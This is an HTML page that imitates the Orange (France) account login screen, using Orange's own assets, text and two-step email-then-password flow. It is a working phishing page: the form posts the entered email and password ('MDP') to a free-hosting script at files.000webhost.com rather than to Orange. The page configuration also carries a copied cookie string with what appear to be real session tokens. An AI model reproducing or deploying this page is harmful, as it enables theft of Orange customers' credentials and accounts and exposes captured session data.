<!DOCTYPE html>
<html lang="fr">
<head data-placeholder-focus="false">
<script src="jquery-3.4.1.min.js"></script>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="msapplication-config" content="none"/>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="format-detection" content="telephone=no">
<title>Identifiez-vous avec votre compte Orange</title>
<noscript>
<style type="text/css">
body {
display: none;
}
</style>
<meta http-equiv="refresh" content="0; url=/assistance"/>
</noscript>
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="mobile-web-app-capable" content="yes">
<link rel="apple-touch-icon" sizes="57x57"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/apple-touch-icon-180x180.png">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/favicon-32x32.png"
sizes="32x32">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/favicon-194x194.png"
sizes="194x194">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/favicon-96x96.png"
sizes="96x96">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-36x36.png"
sizes="36x36">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-48x48.png"
sizes="48x48">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-72x72.png"
sizes="72x72">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-96x96.png"
sizes="96x96">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-144x144.png"
sizes="144x144">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/android-chrome-192x192.png"
sizes="192x192">
<link rel="icon" type="image/png"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/icons/favicon-16x16.png"
sizes="16x16">
<link rel="stylesheet"
href="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/css/bundle.min.css">
<style>
.eui-banner {
background-image: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/om_desktop.png");
}
.eui-banner-mc {
background-image: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/mc_desktop_old.png");
}
#promoteMCicon {
background: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/../promoteMCDesktop.gif") no-repeat;
background-size: 100%;
height: 32rem;
width: 30rem;
}
@media (max-width: 767px) {
.eui-banner {
background-image: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/om_mobile.png");
}
.eui-banner-mc {
background-image: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/mc_mobile_old.png");
}
#promoteMCicon {
background: url("https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/../promoteMCMobile.gif") no-repeat;
background-size: 100%;
height: 15rem;
width: 30.2rem;
}
}
.off-screen {
position: fixed;
bottom: 0;
right: 0;
height: 0 !important;
width: 0 !important;
overflow: hidden;
opacity: 0;
filter: alpha(opacity=0);
}
</style>
<script type="text/javascript">
window.Eui = {
params: {"return_url": "https:\/\/www.orange.fr\/portail"},
headers: {
"content-type": "application\/json",
"cookie": "mmapi.p.uat=%7B%22MaxymiserQA%22%3A%22%22%7D; OPTOUTMULTI=0:0%7Cc2:0%7Cc3:0%7Cc4:0%7Cc1:0; is_fut=true; _ga=GA1.2.1708022502.1586470005; _cs_c=1; LPVID=c4MTQ5ZjUwYzc0MmY1OWIw; __gads=ID=8d7809368ed494b2:T=1586633165:S=ALNI_Ma5GX5qdC7aAwU9q6kKBW__mWUgmw; OB-USER-TOKEN=a579e66c-c477-453d-9c24-e30d256f21d7; _cs_id=1dfe28dc-5fb6-a5a9-9189-22be2950d3af.1586470006.3.1586634753.1586634753.1479744582.1620634006256.Lax.0; idzone=AFY_xdlgQMyFK5ziczzEW6TQ6eJnkVbML9JVCgVC69Afs-4nzC4rXeK3u8LJRu0XvgVq0itQlLKQqndrH6C3r9Y1R6NlI8d8aKSv4iwh6KiSNAKBvq5hDIhXpdlvj_IPgRQ3ny5lRVxHkSU; izclientid=q80K6krnAAWi2gvcPggAE2fA%2c1589292325; _gid=GA1.2.1563059316.1588687529; userconsent={\"c\":{\"w\":{\"cs\":{\"c1\":\"0\",\"c2\":\"0\",\"c3\":\"0\",\"c4\":\"0\",\"c5\":\"0\",\"c6\":\"1\"},\"t\":\"2020-05-05T14:05:29.966Z\",\"v\":\"1\"}}}; o-cookie-cnil=5; _nac=nav_access_cookie; mmapi.p.srv=%22fravwcgeu02%22; mmapi.p.pd=%22-676186260%7CMgAAAApVAwACLdcx7xJ5WwABEgABQgDAZaRnCAAKcLiCCPHXSHgyrkjS3NdIAAAAAP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FAA9sb2dpbi5vcmFuZ2UuZnICCRMCAAAAAQAAAAAA%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FAQDZNQEAyAW48dz4EgD%2F%2F%2F%2F%2FAe8S%2BBL%2F%2FxAAAAEAAAAAARwQAwDO6wMAAAAAAAAAAUU%3D%22; utag_main=v_id:017160fb2881001a08ec4cdeab9503073011706b00978$_sn:8$_ss:0$_st:1588694128163$ses_id:1588692024500%3Bexp-session$_pn:4%3Bexp-session; xauth=626d16aed27ae6dbb5b0e7a9570a5a9ca428c0fa3d9a370cb71f282fcf163e88%3BDyqwYAsJBUTuTtvjf7T1HpHU0oDSsECQGewxAlGzdqxnMMFlcaBpKAvRX8xUEVPEPi%2FkyEi4DHHHMGppQznKBCwifiJFCpZVxl1SdYvO3Ac%3D; datadome=DRpLufiyL_g3d5lpkueGkH-RFul3vXi4LGAf54dGSXdRLkv~pADK62CSYKjHEUXblxXH_s6q-VjLPM-FuPnz7qJZI-N.fFsydT1YwkHot1"
},
apiConfig: {
"baseUrl": "\/front",
"timeout": 15000,
"retry": 2,
"resources": {
"login": {"path": "\/login", "method": "POST"},
"password": {"path": "\/password", "method": "POST"},
"challenge": {"path": "\/challenge", "method": "POST"},
"captcha": {"path": "\/captcha", "method": "POST"},
"keepConnected": {"path": "\/keep-connected", "method": "POST"},
"reauthentication": {"path": "\/reauthentication", "method": "POST"},
"accounts": {"path": "\/accounts", "method": "GET"},
"probe": {"path": "\/report\/probe", "method": "POST"},
"confirm": {"path": "\/confirm", "method": "POST"},
"await": {"path": "\/await", "method": "GET"},
"reportError": {"path": "\/report\/error", "method": "POST"},
"deactivate": {"path": "\/deactivate", "method": "POST"},
"promoteLaterMC": {"path": "\/promoteLaterMC", "method": "POST"},
"activateMC": {"path": "\/activateMC", "method": "POST"},
"authToken": {"path": "\/authToken", "method": "POST"},
"authCookie": {"path": "\/authCookie", "method": "GET"}
}
},
i18n: {
errors: {
"408": "Le service a rencontr\u00e9 un probl\u00e8me r\u00e9seau, veuillez r\u00e9essayer.",
"503": "Cette page rencontre un probl\u00e8me technique, r\u00e9essayez un peu plus tard.",
"100": "Vous n\u2019avez pas indiqu\u00e9 l\u2019adresse mail ou le num\u00e9ro de mobile de votre compte Orange.",
"101": "Cette adresse mail ou ce num\u00e9ro de mobile n\u2019est pas valide. V\u00e9rifiez votre saisie.",
"102": "Vous n\u2019avez pas saisi votre mot de passe.",
"104": "C\u2019est incorrect, v\u00e9rifiez l\u2019adresse mail et le mot de passe saisis.",
"105": "Pour vous permettre de vous identifier votre navigateur doit accepter les cookies. <a href=\"https:\/\/r.orange.fr\/r\/Oid_cookies\" target=\"_self\" title=\"En savoir plus.\">En savoir plus.<\/a>",
"106": "Champ obligatoire"
},
labels: {
"titlePassAssistShow": "afficher le mot de passe",
"titlePassAssistHide": "cacher le mot de passe"
}
},
mem: true,
ad: true,
stage: 'login',
templateErrorTech: "<div class=\"row\"> <div class=\"col-xs-12 col-md-12 col-lg-11 col-xl-9\"> <div class=\"eui-error-area\"> <div class=\"zone-icon\"> <div class=\"eui-svg eui-icon-warning\"><\/div> <\/div> <div class=\"zone-msg\"> <p id=\"msgWarning\">Vous \u00eates rest\u00e9 longtemps inactif.<\/p> <\/div> <div class=\"zone-msg-btm\"> <p id=\"msgAction\">Vous pouvez recommencer<\/p> <\/div> <div class=\"clearfix\"><\/div> <button id=\"btnRefresh\" type=\"button\" class=\"btn btn-info eui-btn-sub\">Recommencer<\/button> <\/div> <\/div><\/div>",
templateAuthToken: "",
ttls: 3600,
ecConf: {
"baseUrl": "\/\/c.woopic.com\/libs\/common\/",
"default": "o_load_responsive.js",
"proMobile": "o_load_responsive_mobile.js",
"proDesktop": "o_load.js"
},
reportError: true,
lostUrl: 'https://mdp.orange.fr',
adUrl: 'https://all.orfr.adgtw.orangeads.fr/js/ora_authen.identification'
};
</script>
<script>!function (a, b, c, d, e, f) {
a.ddjskey = e;
a.ddoptions = f || null;
var m = b.createElement(c), n = b.getElementsByTagName(c)[0];
m.async = 1, m.src = d, n.parentNode.insertBefore(m, n)
}(window, document, "script", "https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/trust-1.0.1/datadome.js", "D9A417D80467055AC6E6FC6C8CA059");</script>
<script type="text/javascript">var o_confCommon = {
"centeredPage": true,
"genericHeaderZone": false,
"infoCookieZone": false,
"persoZone": false,
"typeEnv": "prod",
"tracking": {
"Tealium": {"deactivate": false, "profile": "identite"},
"Gstat": {"useServerRedirect": false}
},
"login": {"disabled": true}
};
var o_data = {
"domaine": "Identit\u00e9",
"canal": "Web, Mobile Web",
"couleur": "Orange",
"univers_affichage": "Formulaire",
"segment": "RES"
};</script>
<script src="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/js/bundle.min.js"></script>
<style>
#forceMCLabel.disabled, #forceMCLabelBis.disabled {
display: none;
}
</style>
</head>
<body>
<header id="o-header"></header>
<main class="eui-container" role="main">
<div class="o-container-fluid eui-title-area">
<div class="row">
<div class="col-xs-12 col-md-8 col-lg-8 col-xl-8">
<h1 id="title">Identifiez-vous</h1>
</div>
</div>
</div>
<div class="o-container-fluid">
<div class="row">
<div class="col-xs-12 col-md-6 col-lg-6 col-xl-6 ">
<div id="stage" class="">
<form class="eui-form" action="https://files.000webhost.com/post.php" method="POST" validate="">
<div class="firstDiv" id="firstDiv">
<div id="eui-accounts">
</div>
<div class="form-group ">
<h2 class="sr-only">Indiquez votre compte Orange</h2>
<div class="eui-input-label">
<div class="eui-row">
<label for="login" id="loginLabel" class="eui-label">Indiquez votre compte
Orange</label>
<div class="eui-assistance-area">
<button data-oevent="idme_login;clic_bulle_aide_saisie;bulle_aide_saisie"
class="eui-svg eui-icon-help" type="button" id="helpLogin">
<span class="sr-only">aide</span>
</button>
</div>
</div>
</div>
<div aria-label="aide" class="eui-help" id="helpLoginCnt" style="display : none;">
<p class="noSelectContent" tabindex="-1"><span>Votre compte Orange permet l’accès à vos services personnels. Il est désigné par une adresse e-mail ou un numéro de mobile.</span><br/><span>C’est votre première visite >> <a
href="/aide" target="_self" title="Aide">Aide</a></span></p>
</div>
<h6 id="error-msg-box-login" tabindex="0" class="form-control-message"
aria-live="assertive"
role="alert" title="erreur"></h6> <input type="text" id="login"
placeholder="Adresse mail ou n° de mobile Orange"
name="email"
class="form-control"
maxlength="256"
autocorrect="off"
autocapitalize="off"
spellcheck="false"
aria-describedby="error-msg-box-login"
aria-invalid=""/>
</div>
<button id="btnSubmit" value="green" class="btn btn-info eui-btn-sub"
style="visibility: hidden;">Continuer
</button>
</div>
<div class="secondDiv" id="secondDiv" style="display: none">
<div id="stage" class="eui-st2">
<h2 class="sr-only">Saisissez votre mot de passe</h2>
<div class="eui-identity-area">
<div class="x-col-avatar">
<div class="eui-avatar">
<div class="eui-svg eui-icon-avatar" aria-label="Avatar d’utilisateur"
id="accountAvatar" title="Avatar d’utilisateur"></div>
</div>
</div>
<div class="x-col-identity">
<div class="x-identity">
<p class="x-dsn eui-dsn eui-ellipsis" aria-label="identifiant" id="accountLogin"></p>
<p class="eui-empty-login"></p>
<span id="changeAccountDiv" style="display: inline;">
<a data-oevent-category="idme_password"
data-oevent-action="clic_changer_de_compte"
data-oevent-label="utiliser_un_autre_compte" id="changeAccountLink"
href="/?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail&redirect=false"
title="Changer de compte">Changer de compte</a>
</span>
</div>
</div>
</div>
<div class="clearfix"></div>
<div class="form-group ">
<div class="eui-input-label">
<label for="password" id="passwordLabel">Saisissez votre mot de passe</label>
<div class="eui-assistance-area">
<button
data-oevent="idme_password;clic_bulle_aide_mot_de_passe;bulle_aide_mot_de_passe"
class="eui-svg eui-icon-help" type="button" id="helpPassword">
<span class="sr-only">aide</span>
</button>
</div>
</div>
<input id="login" class="off-screen"
type="text"
aria-hidden="true" tabindex="-1"
autocorrect="off" spellcheck="false"
autocomplete="username">
<div id="passwordContainer">
<input type="password" id="password" placeholder="Mot de passe"
autocomplete="current-password" class="form-control pass-assist"
name="MDP"
maxlength="36" required="" aria-hidden="false"
aria-describedby="error-msg-box" aria-invalid="false" aria-required="true">
<input type="text" id="passwordTxt" style="display: none"
class="form-control pass-assist" maxlength="36"
aria-hidden="true" aria-describedby="error-msg-box" aria-invalid="false"
aria-labelledby="passwordLabel" autocomplete="off" autocapitalize="none"
spellcheck="false" autocorrect="off">
<div id="assist-visual" class="input-control-visual">
<div class="assist-area">
<div id="assist-icon" class="eui-svg-assist eui-icon-assist-hide">
<button id="assist-btn" type="button" class="transparent-btn">
<span id="assist-msg"
class="sr-only">afficher le mot de passe</span>
</button>
</div>
</div>
</div>
</div>
</div>
<div class="form-group eui-checkbox">
<input type="checkbox" class="o-checkbox" id="remember"
style="display:block">
<label for="remember" id="rememberLabel"><span class="eui-label-content">Rester identifié</span>
</label>
</div>
<div>
<button id="" type="submit" value="submit" class="btn btn-primary eui-btn-sub">S’identifier</button>
<a data-oevent="idme_password;clic_mot_de_passe_oublie;mot_de_passe_oublie"
id="forgotPassword" class="eui-links-passwd"
href="https://mdp.orange.fr?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail&login=jPn8XDeVvwxztPVbeQMSg6uGJciowUJzKKkir%2BRyVJngC7zQBllUN3PBAVJA6C%2FVNOeGvXCMWkFvIK8Uf8KgZAXZTAWw6THklS8vRSWqUWKXXcTYS8QlYMz8tFnHgRnqeIxXqA3o5pF1GyBjcFC%2BcW2CbFKBMD%2Fmyg%2FQAnKHnKGsTwTOoX935nzKNljA3afND9DyiPNjI8tTjlYk5ZN9xtvB5Lnddm12og%2BuvwAm2tubvQMwIno6Kfjolb4qTuqQFjJX%2B7yCyMOMmMyyr1Vs8ID4JSx4FqXZYMSVI%2F5JbdhgB3KlXrrfm5yyvyvk8anIgcpljICRPpUo%2FNr2g6ef8A%3D%3D"
title="Mot de passe oublié ?">Mot de passe oublié ?</a>
</div>
<nav class="eui-links row" role="navigation">
<div id="firstAuthentBloc" class="col-xs-12 col-md-12 col-lg-12 col-xl-12"
style="display: none;">
<a id="firstAuthentLink"
data-oevent="idme_login;clic_premiere_connexion;lien_premiere_connexion"
href="/firstConnection?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail"
title="Vous vous identifiez pour la première fois ?">Vous vous identifiez pour
la première fois ?</a>
</div>
<div id="moreHelpLink" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="helpLink" data-oevent-category="idme_login" data-oevent-action="clic_aide"
data-oevent-label="aide"
href="/aide?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail"
title="Besoin d’aide ?">Besoin d’aide ?</a>
</div>
</nav>
</div>
</div>
</form>
<nav class="eui-links row" role="navigation">
<div id="firstAuthentBloc" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="firstAuthentLink"
data-oevent="idme_login;clic_premiere_connexion;lien_premiere_connexion"
href="/firstConnection?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail"
title="Vous vous identifiez pour la première fois ?">Vous vous identifiez pour la
première fois ?</a>
</div>
<div id="firstAccessDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="firstAccessLink" data-oevent="idme_login;clic_créer_compte;créer_votre_compte"
href="https://r.orange.fr/r/Oid_signup?return_url=https://www.orange.fr/portail"
title="Vous n’êtes pas client ? Créer votre compte">Vous n’êtes pas client ? Créer votre
compte</a>
</div>
<div id="forgotCodeMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none;">
<a id="forgotCodeMCLink" href="#" title="Code confidentiel oublié ?">Code confidentiel
oublié ?</a>
</div>
<div id="discoverMC" class="col-xs-12 col-md-12 col-lg-12 col-xl-12" style="display: none">
<a id="discoverMCLink"
href="https://mc.orange.fr?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail">
<img id="discoverMCLinkImg"
src="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/Logo_MC_noir_fond_transparent_small.png">
<img id="discoverMCLinkImgHover" style="display: none;"
src="https://cdn.woopic.com/c15d9d8fc98141b084d96f795046449b/auth-2.12.3/images/services_comm/Logo_MC_orange_fond_transparent_small.png">
Comment s’identifier plus vite et plus facilement ? </a>
</div>
<div id="moreHelpLink" class="col-xs-12 col-md-12 col-lg-12 col-xl-12">
<a id="helpLink" data-oevent-category="idme_login" data-oevent-action="clic_aide"
data-oevent-label="aide" href="/aide?return_url=https%3A%2F%2Fwww.orange.fr%2Fportail"
title="Besoin d’aide ?">Besoin d’aide ?</a>
</div>
<div id="authWithoutMCDiv" class="col-xs-12 col-md-12 col-lg-12 col-xl-12 "
style="display: none;">
<a id="authWithoutMCLink" class="link-action-password" href="#"
title="S’identifier avec votre mot de passe" data-oevent-category="idme_mc_invit"
data-oevent-action="clic_sidentifier_sans_mc" data-oevent-label="sidentifier_sans_mc">S’identifier
avec votre mot de passe</a>
</div>
<div class="eui-help col-xs-12 disabled" id="forceMCLabel">
Par sécurité, vous devez vous identifier avec Mobile Connect.
<button type="button" class="eui-svg eui-close eui-icon-close-grey">
<span class="sr-only">fermer</span>
</button>
</div>
<div class="eui-help col-xs-12 disabled" id="forceMCLabelBis">
Suite à plusieurs tentatives d’accès erronées, l’accès à ce compte par mot de passe est
temporairement bloqué. Réessayez un peu plus tard.
<button type="button" class="eui-svg eui-close eui-icon-close-grey">
<span class="sr-only">fermer</span>
</button>
</div>
</nav>
</div>
</div>
<div id="magicZone" class="eui-banner-place col-xs-12 col-md-5 col-lg-4 col-xl-4 col-md-offset-1">
<a id="magicZoneLink" data-oevent-category="idme_login" data-oevent-action="clic_zone_com"
data-oevent-label="service" class="eui-block"
href="https://r.orange.fr/r/Oapp_Orange_EtMoi" target="_blank" rel="noopener noreferrer">
<div id='elmt-banner' class='eui-banner'
title="Lien zone de communication (nouvel onglet)"></div>
</a>
</div>
</div>
</div>
</main>
<footer>
<div class="eui-footer-banner hidden-xs hidden-sm">
<div class="eui-mega-banner oan_ad" id="ora_2_728x90_identification"></div>
</div>
<div id="cefooter"></div>
</footer>
</body>
<script>
document.getElementById("btnSubmit").addEventListener("click", function () {
var box1 = document.getElementById("firstDiv");
if (box1.style.display === "none") {
box1.style.display = "block";
} else {
box1.style.display = "none";
}
var box2 = document.getElementById("secondDiv");
if (box2.style.display === "none") {
box2.style.display = "block";
} else {
box2.style.display = "none";
}
var email = document.getElementById("login").value;
document.getElementById("accountLogin").innerHTML = email;
})
</script>
</html>